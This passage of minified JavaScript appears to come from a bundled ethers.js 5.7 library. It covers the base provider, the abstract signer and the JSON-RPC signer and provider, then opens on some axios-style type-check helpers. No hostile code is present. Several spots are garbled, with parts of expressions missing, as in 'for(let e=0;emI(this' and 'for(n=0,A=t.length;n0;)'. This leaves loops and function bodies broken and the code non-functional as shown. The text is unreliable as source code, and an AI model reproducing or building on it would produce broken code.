null!=e&&t.hash!==e&&BI.throwError(\"Transaction hash mismatch from Provider.sendTransaction.\",Gl.errors.UNKNOWN_ERROR,{expectedHash:t.hash,returnedHash:e}),n.wait=(e,n)=>mI(this,void 0,void 0,(function*(){let A;null==e&&(e=1),null==n&&(n=0),0!==e&&null!=r&&(A={data:t.data,from:t.from,nonce:t.nonce,to:t.to,value:t.value,startBlock:r});const i=yield this._waitForTransaction(t.hash,e,n,A);return null==i&&0===e?null:(this._emitted[\"t:\"+t.hash]=i.blockNumber,0===i.status&&BI.throwError(\"transaction failed\",Gl.errors.CALL_EXCEPTION,{transactionHash:t.hash,transaction:t,receipt:i}),i)})),n}sendTransaction(t){return mI(this,void 0,void 0,(function*(){yield this.getNetwork();const e=yield Promise.resolve(t).then((t=>Wl(t))),r=this.formatter.transaction(t);null==r.confirmations&&(r.confirmations=0);const n=yield this._getInternalBlockNumber(100+2*this.pollingInterval);try{const t=yield this.perform(\"sendTransaction\",{signedTransaction:e});return this._wrapTransaction(r,t,n)}catch(t){throw t.transaction=r,t.transactionHash=r.hash,t}}))}_getTransactionRequest(t){return mI(this,void 0,void 0,(function*(){const e=yield t,r={};return[\"from\",\"to\"].forEach((t=>{null!=e[t]&&(r[t]=Promise.resolve(e[t]).then((t=>t?this._getAddress(t):null)))})),[\"gasLimit\",\"gasPrice\",\"maxFeePerGas\",\"maxPriorityFeePerGas\",\"value\"].forEach((t=>{null!=e[t]&&(r[t]=Promise.resolve(e[t]).then((t=>t?hf.from(t):null)))})),[\"type\"].forEach((t=>{null!=e[t]&&(r[t]=Promise.resolve(e[t]).then((t=>null!=t?t:null)))})),e.accessList&&(r.accessList=this.formatter.accessList(e.accessList)),[\"data\"].forEach((t=>{null!=e[t]&&(r[t]=Promise.resolve(e[t]).then((t=>t?Wl(t):null)))})),this.formatter.transactionRequest(yield Cf(r))}))}_getFilter(t){return mI(this,void 0,void 0,(function*(){t=yield t;const e={};return null!=t.address&&(e.address=this._getAddress(t.address)),[\"blockHash\",\"topics\"].forEach((r=>{null!=t[r]&&(e[r]=t[r])})),[\"fromBlock\",\"toBlock\"].forEach((r=>{null!=t[r]&&(e[r]=this._getBlockTag(t[r]))})),this.formatter.filter(yield Cf(e))}))}_call(t,e,r){return mI(this,void 0,void 0,(function*(){r>=10&&BI.throwError(\"CCIP read exceeded maximum redirections\",Gl.errors.SERVER_ERROR,{redirects:r,transaction:t});const n=t.to,A=yield this.perform(\"call\",{transaction:t,blockTag:e});if(r>=0&&\"latest\"===e&&null!=n&&\"0x556f1830\"===A.substring(0,10)&&Zl(A)%32==4)try{const i=$l(A,4),o=$l(i,0,32);hf.from(o).eq(n)||BI.throwError(\"CCIP Read sender did not match\",Gl.errors.CALL_EXCEPTION,{name:\"OffchainLookup\",signature:\"OffchainLookup(address,string[],bytes,bytes4,bytes)\",transaction:t,data:A});const s=[],a=hf.from($l(i,32,64)).toNumber(),c=hf.from($l(i,a,a+32)).toNumber(),h=$l(i,a+32);for(let e=0;emI(this,void 0,void 0,(function*(){const t=yield this.perform(\"getBlock\",n);if(null==t)return null!=n.blockHash&&null==this._emitted[\"b:\"+n.blockHash]||null!=n.blockTag&&r>this._emitted.block?null:void 0;if(e){let e=null;for(let r=0;rthis._wrapTransaction(t))),r}return this.formatter.block(t)}))),{oncePoll:this})}))}getBlock(t){return this._getBlock(t,!1)}getBlockWithTransactions(t){return this._getBlock(t,!0)}getTransaction(t){return mI(this,void 0,void 0,(function*(){yield this.getNetwork(),t=yield t;const e={transactionHash:this.formatter.hash(t,!0)};return ud((()=>mI(this,void 0,void 0,(function*(){const r=yield this.perform(\"getTransaction\",e);if(null==r)return null==this._emitted[\"t:\"+t]?null:void 0;const n=this.formatter.transactionResponse(r);if(null==n.blockNumber)n.confirmations=0;else if(null==n.confirmations){let t=(yield this._getInternalBlockNumber(100+2*this.pollingInterval))-n.blockNumber+1;t<=0&&(t=1),n.confirmations=t}return this._wrapTransaction(n)}))),{oncePoll:this})}))}getTransactionReceipt(t){return mI(this,void 0,void 0,(function*(){yield this.getNetwork(),t=yield t;const e={transactionHash:this.formatter.hash(t,!0)};return ud((()=>mI(this,void 0,void 0,(function*(){const r=yield this.perform(\"getTransactionReceipt\",e);if(null==r)return null==this._emitted[\"t:\"+t]?null:void 0;if(null==r.blockHash)return;const n=this.formatter.receipt(r);if(null==n.blockNumber)n.confirmations=0;else if(null==n.confirmations){let t=(yield this._getInternalBlockNumber(100+2*this.pollingInterval))-n.blockNumber+1;t<=0&&(t=1),n.confirmations=t}return n}))),{oncePoll:this})}))}getLogs(t){return mI(this,void 0,void 0,(function*(){yield this.getNetwork();const e=yield Cf({filter:this._getFilter(t)}),r=yield this.perform(\"getLogs\",e);return r.forEach((t=>{null==t.removed&&(t.removed=!1)})),CI.arrayOf(this.formatter.filterLog.bind(this.formatter))(r)}))}getEtherPrice(){return mI(this,void 0,void 0,(function*(){return yield this.getNetwork(),this.perform(\"getEtherPrice\",{})}))}_getBlockTag(t){return mI(this,void 0,void 0,(function*(){if(\"number\"==typeof(t=yield t)&&t<0){t%1&&BI.throwArgumentError(\"invalid BlockTag\",\"blockTag\",t);let e=yield this._getInternalBlockNumber(100+2*this.pollingInterval);return e+=t,e<0&&(e=0),this.formatter.blockTag(e)}return this.formatter.blockTag(t)}))}getResolver(t){return mI(this,void 0,void 0,(function*(){let e=t;for(;;){if(\"\"===e||\".\"===e)return null;if(\"eth\"!==t&&\"eth\"===e)return null;const r=yield this._getResolver(e,\"getResolver\");if(null!=r){const n=new HI(this,r,t);return e===t||(yield n.supportsWildcard())?n:null}e=e.split(\".\").slice(1).join(\".\")}}))}_getResolver(t,e){return mI(this,void 0,void 0,(function*(){null==e&&(e=\"ENS\");const r=yield this.getNetwork();r.ensAddress||BI.throwError(\"network does not support ENS\",Gl.errors.UNSUPPORTED_OPERATION,{operation:e,network:r.name});try{const e=yield this.call({to:r.ensAddress,data:\"0x0178b8bf\"+bp(t).substring(2)});return this.formatter.callAddress(e)}catch(t){}return null}))}resolveName(t){return mI(this,void 0,void 0,(function*(){t=yield t;try{return Promise.resolve(this.formatter.address(t))}catch(e){if(Xl(t))throw e}\"string\"!=typeof t&&BI.throwArgumentError(\"invalid ENS name\",\"name\",t);const e=yield this.getResolver(t);return e?yield e.getAddress():null}))}lookupAddress(t){return mI(this,void 0,void 0,(function*(){t=yield t;const e=(t=this.formatter.address(t)).substring(2).toLowerCase()+\".addr.reverse\",r=yield this._getResolver(e,\"lookupAddress\");if(null==r)return null;const n=FI(yield this.call({to:r,data:\"0x691f3431\"+bp(e).substring(2)}),0);return(yield this.resolveName(n))!=t?null:n}))}getAvatar(t){return mI(this,void 0,void 0,(function*(){let e=null;if(Xl(t)){const r=this.formatter.address(t).substring(2).toLowerCase()+\".addr.reverse\",n=yield this._getResolver(r,\"getAvatar\");if(!n)return null;e=new HI(this,n,r);try{const t=yield e.getAvatar();if(t)return t.url}catch(t){if(t.code!==Gl.errors.CALL_EXCEPTION)throw t}try{const t=FI(yield this.call({to:n,data:\"0x691f3431\"+bp(r).substring(2)}),0);e=yield this.getResolver(t)}catch(t){if(t.code!==Gl.errors.CALL_EXCEPTION)throw t;return null}}else if(e=yield this.getResolver(t),!e)return null;const r=yield e.getAvatar();return null==r?null:r.url}))}perform(t,e){return BI.throwError(t+\" not implemented\",Gl.errors.NOT_IMPLEMENTED,{operation:t})}_startEvent(t){this.polling=this._events.filter((t=>t.pollable())).length>0}_stopEvent(t){this.polling=this._events.filter((t=>t.pollable())).length>0}_addEventListener(t,e,r){const n=new kI(vI(t),e,r);return this._events.push(n),this._startEvent(n),this}on(t,e){return this._addEventListener(t,e,!1)}once(t,e){return this._addEventListener(t,e,!0)}emit(t,...e){let r=!1,n=[],A=vI(t);return this._events=this._events.filter((t=>t.tag!==A||(setTimeout((()=>{t.listener.apply(this,e)}),0),r=!0,!t.once||(n.push(t),!1)))),n.forEach((t=>{this._stopEvent(t)})),r}listenerCount(t){if(!t)return this._events.length;let e=vI(t);return this._events.filter((t=>t.tag===e)).length}listeners(t){if(null==t)return this._events.map((t=>t.listener));let e=vI(t);return this._events.filter((t=>t.tag===e)).map((t=>t.listener))}off(t,e){if(null==e)return this.removeAllListeners(t);const r=[];let n=!1,A=vI(t);return this._events=this._events.filter((t=>t.tag!==A||t.listener!=e||(!!n||(n=!0,r.push(t),!1)))),r.forEach((t=>{this._stopEvent(t)})),this}removeAllListeners(t){let e=[];if(null==t)e=this._events,this._events=[];else{const r=vI(t);this._events=this._events.filter((t=>t.tag!==r||(e.push(t),!1)))}return e.forEach((t=>{this._stopEvent(t)})),this}};Al(),il(),Al(),il(),Al(),il();var KI=function(t,e,r,n){return new(r||(r=Promise))((function(A,i){function o(t){try{a(n.next(t))}catch(t){i(t)}}function s(t){try{a(n.throw(t))}catch(t){i(t)}}function a(t){var e;t.done?A(t.value):(e=t.value,e instanceof r?e:new r((function(t){t(e)}))).then(o,s)}a((n=n.apply(t,e||[])).next())}))},JI=new Gl(\"abstract-signer/5.7.0\"),jI=[\"accessList\",\"ccipReadEnabled\",\"chainId\",\"customData\",\"data\",\"from\",\"gasLimit\",\"gasPrice\",\"maxFeePerGas\",\"maxPriorityFeePerGas\",\"nonce\",\"to\",\"type\",\"value\"],zI=[Gl.errors.INSUFFICIENT_FUNDS,Gl.errors.NONCE_EXPIRED,Gl.errors.REPLACEMENT_UNDERPRICED],qI=class t{constructor(){JI.checkAbstract(new.target,t),If(this,\"_isSigner\",!0)}getBalance(t){return KI(this,void 0,void 0,(function*(){return this._checkProvider(\"getBalance\"),yield this.provider.getBalance(this.getAddress(),t)}))}getTransactionCount(t){return KI(this,void 0,void 0,(function*(){return this._checkProvider(\"getTransactionCount\"),yield this.provider.getTransactionCount(this.getAddress(),t)}))}estimateGas(t){return KI(this,void 0,void 0,(function*(){this._checkProvider(\"estimateGas\");const e=yield Cf(this.checkTransaction(t));return yield this.provider.estimateGas(e)}))}call(t,e){return KI(this,void 0,void 0,(function*(){this._checkProvider(\"call\");const r=yield Cf(this.checkTransaction(t));return yield this.provider.call(r,e)}))}sendTransaction(t){return KI(this,void 0,void 0,(function*(){this._checkProvider(\"sendTransaction\");const e=yield this.populateTransaction(t),r=yield this.signTransaction(e);return yield this.provider.sendTransaction(r)}))}getChainId(){return KI(this,void 0,void 0,(function*(){this._checkProvider(\"getChainId\");return(yield this.provider.getNetwork()).chainId}))}getGasPrice(){return KI(this,void 0,void 0,(function*(){return this._checkProvider(\"getGasPrice\"),yield this.provider.getGasPrice()}))}getFeeData(){return KI(this,void 0,void 0,(function*(){return this._checkProvider(\"getFeeData\"),yield this.provider.getFeeData()}))}resolveName(t){return KI(this,void 0,void 0,(function*(){return this._checkProvider(\"resolveName\"),yield this.provider.resolveName(t)}))}checkTransaction(t){for(const e in t)-1===jI.indexOf(e)&&JI.throwArgumentError(\"invalid transaction key: \"+e,\"transaction\",t);const e=mf(t);return null==e.from?e.from=this.getAddress():e.from=Promise.all([Promise.resolve(e.from),this.getAddress()]).then((e=>(e[0].toLowerCase()!==e[1].toLowerCase()&&JI.throwArgumentError(\"from address mismatch\",\"transaction\",t),e[0]))),e}populateTransaction(t){return KI(this,void 0,void 0,(function*(){const e=yield Cf(this.checkTransaction(t));null!=e.to&&(e.to=Promise.resolve(e.to).then((t=>KI(this,void 0,void 0,(function*(){if(null==t)return null;const e=yield this.resolveName(t);return null==e&&JI.throwArgumentError(\"provided ENS name resolves to null\",\"tx.to\",t),e})))),e.to.catch((t=>{})));const r=null!=e.maxFeePerGas||null!=e.maxPriorityFeePerGas;if(null==e.gasPrice||2!==e.type&&!r?0!==e.type&&1!==e.type||!r||JI.throwArgumentError(\"pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas\",\"transaction\",t):JI.throwArgumentError(\"eip-1559 transaction do not support gasPrice\",\"transaction\",t),2!==e.type&&null!=e.type||null==e.maxFeePerGas||null==e.maxPriorityFeePerGas)if(0===e.type||1===e.type)null==e.gasPrice&&(e.gasPrice=this.getGasPrice());else{const t=yield this.getFeeData();if(null==e.type)if(null!=t.maxFeePerGas&&null!=t.maxPriorityFeePerGas)if(e.type=2,null!=e.gasPrice){const t=e.gasPrice;delete e.gasPrice,e.maxFeePerGas=t,e.maxPriorityFeePerGas=t}else null==e.maxFeePerGas&&(e.maxFeePerGas=t.maxFeePerGas),null==e.maxPriorityFeePerGas&&(e.maxPriorityFeePerGas=t.maxPriorityFeePerGas);else null!=t.gasPrice?(r&&JI.throwError(\"network does not support EIP-1559\",Gl.errors.UNSUPPORTED_OPERATION,{operation:\"populateTransaction\"}),null==e.gasPrice&&(e.gasPrice=t.gasPrice),e.type=0):JI.throwError(\"failed to get consistent fee data\",Gl.errors.UNSUPPORTED_OPERATION,{operation:\"signer.getFeeData\"});else 2===e.type&&(null==e.maxFeePerGas&&(e.maxFeePerGas=t.maxFeePerGas),null==e.maxPriorityFeePerGas&&(e.maxPriorityFeePerGas=t.maxPriorityFeePerGas))}else e.type=2;return null==e.nonce&&(e.nonce=this.getTransactionCount(\"pending\")),null==e.gasLimit&&(e.gasLimit=this.estimateGas(e).catch((t=>{if(zI.indexOf(t.code)>=0)throw t;return JI.throwError(\"cannot estimate gas; transaction may fail or may require manual gas limit\",Gl.errors.UNPREDICTABLE_GAS_LIMIT,{error:t,tx:e})}))),null==e.chainId?e.chainId=this.getChainId():e.chainId=Promise.all([Promise.resolve(e.chainId),this.getChainId()]).then((e=>(0!==e[1]&&e[0]!==e[1]&&JI.throwArgumentError(\"chainId address mismatch\",\"transaction\",t),e[0]))),yield Cf(e)}))}_checkProvider(t){this.provider||JI.throwError(\"missing provider\",Gl.errors.UNSUPPORTED_OPERATION,{operation:t||\"_checkProvider\"})}static isSigner(t){return!(!t||!t._isSigner)}},XI=function(t,e,r,n){return new(r||(r=Promise))((function(A,i){function o(t){try{a(n.next(t))}catch(t){i(t)}}function s(t){try{a(n.throw(t))}catch(t){i(t)}}function a(t){var e;t.done?A(t.value):(e=t.value,e instanceof r?e:new r((function(t){t(e)}))).then(o,s)}a((n=n.apply(t,e||[])).next())}))},VI=new Gl(fd),WI=[\"call\",\"estimateGas\"];function ZI(t,e){if(null==t)return null;if(\"string\"==typeof t.message&&t.message.match(\"reverted\")){const r=Xl(t.data)?t.data:null;if(!e||r)return{message:t.message,data:r}}if(\"object\"==typeof t){for(const r in t){const n=ZI(t[r],e);if(n)return n}return null}if(\"string\"==typeof t)try{return ZI(JSON.parse(t),e)}catch(t){}return null}function $I(t,e,r){const n=r.transaction||r.signedTransaction;if(\"call\"===t){const t=ZI(e,!0);if(t)return t.data;VI.throwError(\"missing revert data in call exception; Transaction reverted without a reason string\",Gl.errors.CALL_EXCEPTION,{data:\"0x\",transaction:n,error:e})}if(\"estimateGas\"===t){let r=ZI(e.body,!1);null==r&&(r=ZI(e,!1)),r&&VI.throwError(\"cannot estimate gas; transaction may fail or may require manual gas limit\",Gl.errors.UNPREDICTABLE_GAS_LIMIT,{reason:r.message,method:t,transaction:n,error:e})}let A=e.message;throw e.code===Gl.errors.SERVER_ERROR&&e.error&&\"string\"==typeof e.error.message?A=e.error.message:\"string\"==typeof e.body?A=e.body:\"string\"==typeof e.responseText&&(A=e.responseText),A=(A||\"\").toLowerCase(),A.match(/insufficient funds|base fee exceeds gas limit|InsufficientFunds/i)&&VI.throwError(\"insufficient funds for intrinsic transaction cost\",Gl.errors.INSUFFICIENT_FUNDS,{error:e,method:t,transaction:n}),A.match(/nonce (is )?too low/i)&&VI.throwError(\"nonce has already been used\",Gl.errors.NONCE_EXPIRED,{error:e,method:t,transaction:n}),A.match(/replacement transaction underpriced|transaction gas price.*too low/i)&&VI.throwError(\"replacement fee too low\",Gl.errors.REPLACEMENT_UNDERPRICED,{error:e,method:t,transaction:n}),A.match(/only replay-protected/i)&&VI.throwError(\"legacy pre-eip-155 transactions not supported\",Gl.errors.UNSUPPORTED_OPERATION,{error:e,method:t,transaction:n}),WI.indexOf(t)>=0&&A.match(/gas required exceeds allowance|always failing transaction|execution reverted|revert/)&&VI.throwError(\"cannot estimate gas; transaction may fail or may require manual gas limit\",Gl.errors.UNPREDICTABLE_GAS_LIMIT,{error:e,method:t,transaction:n}),e}function ty(t){return new Promise((function(e){setTimeout(e,t)}))}function ey(t){if(t.error){const e=new Error(t.error.message);throw e.code=t.error.code,e.data=t.error.data,e}return t.result}function ry(t){return t?t.toLowerCase():t}var ny={},Ay=class extends qI{constructor(t,e,r){if(super(),t!==ny)throw new Error(\"do not call the JsonRpcSigner constructor directly; use provider.getSigner\");If(this,\"provider\",e),null==r&&(r=0),\"string\"==typeof r?(If(this,\"_address\",this.provider.formatter.address(r)),If(this,\"_index\",null)):\"number\"==typeof r?(If(this,\"_index\",r),If(this,\"_address\",null)):VI.throwArgumentError(\"invalid address or index\",\"addressOrIndex\",r)}connect(t){return VI.throwError(\"cannot alter JSON-RPC Signer connection\",Gl.errors.UNSUPPORTED_OPERATION,{operation:\"connect\"})}connectUnchecked(){return new iy(ny,this.provider,this._address||this._index)}getAddress(){return this._address?Promise.resolve(this._address):this.provider.send(\"eth_accounts\",[]).then((t=>(t.length<=this._index&&VI.throwError(\"unknown account #\"+this._index,Gl.errors.UNSUPPORTED_OPERATION,{operation:\"getAddress\"}),this.provider.formatter.address(t[this._index]))))}sendUncheckedTransaction(t){t=mf(t);const e=this.getAddress().then((t=>(t&&(t=t.toLowerCase()),t)));if(null==t.gasLimit){const r=mf(t);r.from=e,t.gasLimit=this.provider.estimateGas(r)}return null!=t.to&&(t.to=Promise.resolve(t.to).then((t=>XI(this,void 0,void 0,(function*(){if(null==t)return null;const e=yield this.provider.resolveName(t);return null==e&&VI.throwArgumentError(\"provided ENS name resolves to null\",\"tx.to\",t),e}))))),Cf({tx:Cf(t),sender:e}).then((({tx:e,sender:r})=>{null!=e.from?e.from.toLowerCase()!==r&&VI.throwArgumentError(\"from address mismatch\",\"transaction\",t):e.from=r;const n=this.provider.constructor.hexlifyTransaction(e,{from:!0});return this.provider.send(\"eth_sendTransaction\",[n]).then((t=>t),(t=>(\"string\"==typeof t.message&&t.message.match(/user denied/i)&&VI.throwError(\"user rejected transaction\",Gl.errors.ACTION_REJECTED,{action:\"sendTransaction\",transaction:e}),$I(\"sendTransaction\",t,n))))}))}signTransaction(t){return VI.throwError(\"signing transactions is unsupported\",Gl.errors.UNSUPPORTED_OPERATION,{operation:\"signTransaction\"})}sendTransaction(t){return XI(this,void 0,void 0,(function*(){const e=yield this.provider._getInternalBlockNumber(100+2*this.provider.pollingInterval),r=yield this.sendUncheckedTransaction(t);try{return yield ud((()=>XI(this,void 0,void 0,(function*(){const t=yield this.provider.getTransaction(r);if(null!==t)return this.provider._wrapTransaction(t,r,e)}))),{oncePoll:this.provider})}catch(t){throw t.transactionHash=r,t}}))}signMessage(t){return XI(this,void 0,void 0,(function*(){const e=\"string\"==typeof t?Zf(t):t,r=yield this.getAddress();try{return yield this.provider.send(\"personal_sign\",[Wl(e),r.toLowerCase()])}catch(e){throw\"string\"==typeof e.message&&e.message.match(/user denied/i)&&VI.throwError(\"user rejected signing\",Gl.errors.ACTION_REJECTED,{action:\"signMessage\",from:r,messageData:t}),e}}))}_legacySignMessage(t){return XI(this,void 0,void 0,(function*(){const e=\"string\"==typeof t?Zf(t):t,r=yield this.getAddress();try{return yield this.provider.send(\"eth_sign\",[r.toLowerCase(),Wl(e)])}catch(e){throw\"string\"==typeof e.message&&e.message.match(/user denied/i)&&VI.throwError(\"user rejected signing\",Gl.errors.ACTION_REJECTED,{action:\"_legacySignMessage\",from:r,messageData:t}),e}}))}_signTypedData(t,e,r){return XI(this,void 0,void 0,(function*(){const n=yield rd.resolveNames(t,e,r,(t=>this.provider.resolveName(t))),A=yield this.getAddress();try{return yield this.provider.send(\"eth_signTypedData_v4\",[A.toLowerCase(),JSON.stringify(rd.getPayload(n.domain,e,n.value))])}catch(t){throw\"string\"==typeof t.message&&t.message.match(/user denied/i)&&VI.throwError(\"user rejected signing\",Gl.errors.ACTION_REJECTED,{action:\"_signTypedData\",from:A,messageData:{domain:n.domain,types:e,value:n.value}}),t}}))}unlock(t){return XI(this,void 0,void 0,(function*(){const e=this.provider,r=yield this.getAddress();return e.send(\"personal_unlockAccount\",[r.toLowerCase(),t,null])}))}},iy=class extends Ay{sendTransaction(t){return this.sendUncheckedTransaction(t).then((t=>({hash:t,nonce:null,gasLimit:null,gasPrice:null,data:null,value:null,chainId:null,confirmations:0,from:null,wait:e=>this.provider.waitForTransaction(t,e)})))}},oy={chainId:!0,data:!0,gasLimit:!0,gasPrice:!0,nonce:!0,to:!0,value:!0,type:!0,accessList:!0,maxFeePerGas:!0,maxPriorityFeePerGas:!0},sy=class extends YI{constructor(t,e){let r=e;null==r&&(r=new Promise(((t,e)=>{setTimeout((()=>{this.detectNetwork().then((e=>{t(e)}),(t=>{e(t)}))}),0)}))),super(r),t||(t=yf(this.constructor,\"defaultUrl\")()),If(this,\"connection\",\"string\"==typeof t?Object.freeze({url:t}):Object.freeze(mf(t))),this._nextId=42}get _cache(){return null==this._eventLoopCache&&(this._eventLoopCache={}),this._eventLoopCache}static defaultUrl(){return\"http://localhost:8545\"}detectNetwork(){return this._cache.detectNetwork||(this._cache.detectNetwork=this._uncachedDetectNetwork(),setTimeout((()=>{this._cache.detectNetwork=null}),0)),this._cache.detectNetwork}_uncachedDetectNetwork(){return XI(this,void 0,void 0,(function*(){yield ty(0);let t=null;try{t=yield this.send(\"eth_chainId\",[])}catch(e){try{t=yield this.send(\"net_version\",[])}catch(t){}}if(null!=t){const e=yf(this.constructor,\"getNetwork\");try{return e(hf.from(t).toNumber())}catch(e){return VI.throwError(\"could not detect network\",Gl.errors.NETWORK_ERROR,{chainId:t,event:\"invalidNetwork\",serverError:e})}}return VI.throwError(\"could not detect network\",Gl.errors.NETWORK_ERROR,{event:\"noNetwork\"})}))}getSigner(t){return new Ay(ny,this,t)}getUncheckedSigner(t){return this.getSigner(t).connectUnchecked()}listAccounts(){return this.send(\"eth_accounts\",[]).then((t=>t.map((t=>this.formatter.address(t)))))}send(t,e){const r={method:t,params:e,id:this._nextId++,jsonrpc:\"2.0\"};this.emit(\"debug\",{action:\"request\",request:vf(r),provider:this});const n=[\"eth_chainId\",\"eth_blockNumber\"].indexOf(t)>=0;if(n&&this._cache[t])return this._cache[t];const A=gd(this.connection,JSON.stringify(r),ey).then((t=>(this.emit(\"debug\",{action:\"response\",request:r,response:t,provider:this}),t)),(t=>{throw this.emit(\"debug\",{action:\"response\",error:t,request:r,provider:this}),t}));return n&&(this._cache[t]=A,setTimeout((()=>{this._cache[t]=null}),0)),A}prepareRequest(t,e){switch(t){case\"getBlockNumber\":return[\"eth_blockNumber\",[]];case\"getGasPrice\":return[\"eth_gasPrice\",[]];case\"getBalance\":return[\"eth_getBalance\",[ry(e.address),e.blockTag]];case\"getTransactionCount\":return[\"eth_getTransactionCount\",[ry(e.address),e.blockTag]];case\"getCode\":return[\"eth_getCode\",[ry(e.address),e.blockTag]];case\"getStorageAt\":return[\"eth_getStorageAt\",[ry(e.address),rf(e.position,32),e.blockTag]];case\"sendTransaction\":return[\"eth_sendRawTransaction\",[e.signedTransaction]];case\"getBlock\":return e.blockTag?[\"eth_getBlockByNumber\",[e.blockTag,!!e.includeTransactions]]:e.blockHash?[\"eth_getBlockByHash\",[e.blockHash,!!e.includeTransactions]]:null;case\"getTransaction\":return[\"eth_getTransactionByHash\",[e.transactionHash]];case\"getTransactionReceipt\":return[\"eth_getTransactionReceipt\",[e.transactionHash]];case\"call\":return[\"eth_call\",[yf(this.constructor,\"hexlifyTransaction\")(e.transaction,{from:!0}),e.blockTag]];case\"estimateGas\":return[\"eth_estimateGas\",[yf(this.constructor,\"hexlifyTransaction\")(e.transaction,{from:!0})]];case\"getLogs\":return e.filter&&null!=e.filter.address&&(e.filter.address=ry(e.filter.address)),[\"eth_getLogs\",[e.filter]]}return null}perform(t,e){return XI(this,void 0,void 0,(function*(){if(\"call\"===t||\"estimateGas\"===t){const t=e.transaction;if(t&&null!=t.type&&hf.from(t.type).isZero()&&null==t.maxFeePerGas&&null==t.maxPriorityFeePerGas){const r=yield this.getFeeData();null==r.maxFeePerGas&&null==r.maxPriorityFeePerGas&&((e=mf(e)).transaction=mf(t),delete e.transaction.type)}}const r=this.prepareRequest(t,e);null==r&&VI.throwError(t+\" not implemented\",Gl.errors.NOT_IMPLEMENTED,{operation:t});try{return yield this.send(r[0],r[1])}catch(r){return $I(t,r,e)}}))}_startEvent(t){\"pending\"===t.tag&&this._startPending(),super._startEvent(t)}_startPending(){if(null!=this._pendingFilter)return;const t=this,e=this.send(\"eth_newPendingTransactionFilter\",[]);this._pendingFilter=e,e.then((function(r){return function n(){t.send(\"eth_getFilterChanges\",[r]).then((function(r){if(t._pendingFilter!=e)return null;let n=Promise.resolve();return r.forEach((function(e){t._emitted[\"t:\"+e.toLowerCase()]=\"pending\",n=n.then((function(){return t.getTransaction(e).then((function(e){return t.emit(\"pending\",e),null}))}))})),n.then((function(){return ty(1e3)}))})).then((function(){if(t._pendingFilter==e)return setTimeout((function(){n()}),0),null;t.send(\"eth_uninstallFilter\",[r])})).catch((t=>{}))}(),r})).catch((t=>{}))}_stopEvent(t){\"pending\"===t.tag&&0===this.listenerCount(\"pending\")&&(this._pendingFilter=null),super._stopEvent(t)}static hexlifyTransaction(t,e){const r=mf(oy);if(e)for(const t in e)e[t]&&(r[t]=!0);var n,A;A=r,(n=t)&&\"object\"==typeof n||df.throwArgumentError(\"invalid object\",\"object\",n),Object.keys(n).forEach((t=>{A[t]||df.throwArgumentError(\"invalid object key - \"+t,\"transaction:\"+t,n)}));const i={};return[\"chainId\",\"gasLimit\",\"gasPrice\",\"type\",\"maxFeePerGas\",\"maxPriorityFeePerGas\",\"nonce\",\"value\"].forEach((function(e){if(null==t[e])return;const r=ef(hf.from(t[e]));\"gasLimit\"===e&&(e=\"gas\"),i[e]=r})),[\"from\",\"to\",\"data\"].forEach((function(e){null!=t[e]&&(i[e]=Wl(t[e]))})),t.accessList&&(i.accessList=uI(t.accessList)),i}};function ay(t,e){return function(){return t.apply(e,arguments)}}Al(),il(),Al(),il(),Al(),il(),Al(),il(),Al(),il();var{toString:cy}=Object.prototype,{getPrototypeOf:hy}=Object,gy=(t=>e=>{const r=cy.call(e);return t[r]||(t[r]=r.slice(8,-1).toLowerCase())})(Object.create(null)),uy=t=>(t=t.toLowerCase(),e=>gy(e)===t),ly=t=>e=>typeof e===t,{isArray:fy}=Array,py=ly(\"undefined\");var dy=uy(\"ArrayBuffer\");var Iy=ly(\"string\"),yy=ly(\"function\"),Cy=ly(\"number\"),my=t=>null!==t&&\"object\"==typeof t,By=t=>{if(\"object\"!==gy(t))return!1;const e=hy(t);return!(null!==e&&e!==Object.prototype&&null!==Object.getPrototypeOf(e)||Symbol.toStringTag in t||Symbol.iterator in t)},Ey=uy(\"Date\"),wy=uy(\"File\"),vy=uy(\"Blob\"),_y=uy(\"FileList\"),Qy=uy(\"URLSearchParams\"),[by,ky,Dy,Sy]=[\"ReadableStream\",\"Request\",\"Response\",\"Headers\"].map(uy);function Ny(t,e,{allOwnKeys:r=!1}={}){if(null==t)return;let n,A;if(\"object\"!=typeof t&&(t=[t]),fy(t))for(n=0,A=t.length;n0;)if(n=r[A],e===n.toLowerCase())return n;return null}var xy=\"undefined\"!=typeof globalThis?globalThis:\"undefined\"!=typeof self?self:\"undefined\"!=typeof window?window:global,Fy=t=>!py(t)&&t!==xy;var Py=(t=>e=>t&&e instanceof t)(\"undefined\"!=typeof Uint8Array&&hy(Uint8Array)),Ty=uy(\"HTMLFormElement\"),Ry=(({hasOwnProperty:t})=>(e,r)=>t.call(e,r))(Object.prototype),Uy=uy(\"RegExp\"),Gy=(t,e)=>{const r=Object.getOwnPropertyDescriptors(t),n={};Ny(r,((r,A)=>{let i;!1!==(i=e(r,A,t))&&(n[A]=i||r)})),Object.defineProperties(t,n)},Hy=\"abcdefghijklmnopqrstuvwxyz\",Ly=\"0123456789\",Oy={DIGIT:Ly,ALPHA:Hy,ALPHA_DIGIT:Hy+Hy.toUpperCase()+Ly};var Yy=uy(\"AsyncFunction\"),Ky={isArray:fy,isArrayBuffer:dy,isBuffer:function(t){return null!==t&&!py(t)&&null!==t.constructor&&!py(t.constructor)&&yy(t.constructor.isBuffer)&&t.constructor.isBuffer(t)},isFormData:t=>{let e;return t&&(\"function\"==typeof FormData&&t instanceof FormData||yy(t.append)&&(\"formdata\"===(e=gy(t))||\"object\"===e&&yy(t.toString)&&\"[object FormData]\"===t.toString()))},isArrayBufferView:function(t){let e;return e=\"undefined\"!=typeof ArrayBuffer&&ArrayBuffer.isView?ArrayBuffer.isView(t):t&&t.buffer&&dy(t.buffer),e},isString:Iy,isNumber:Cy,isBoolean:t=>!0===t||!1===t,isObject:my,isPlainObject:By,isReadableStream:by,isRequest:ky,isResponse:Dy,isHeaders:Sy,isUndefined:py,isDate:Ey,isFile:wy,isBlob:vy,isRegExp:Uy,isFunction:yy,isStream:t=>my(t)&&yy(t.pipe),isURLSearchParams:Qy,isTypedArray:Py,isFileList:_y,forEach:Ny,merge:function t(){const{caseless:e}=Fy(this)&&this||{},r={},n=(n,A)=>{const i=e&&My(r,A)||A;By(r[i])&&By(n)?r[i]=t(r[i],n):By(n)?r[i]=t({},n):fy(n)?r[i]=n.slice():r[i]=n};for(let 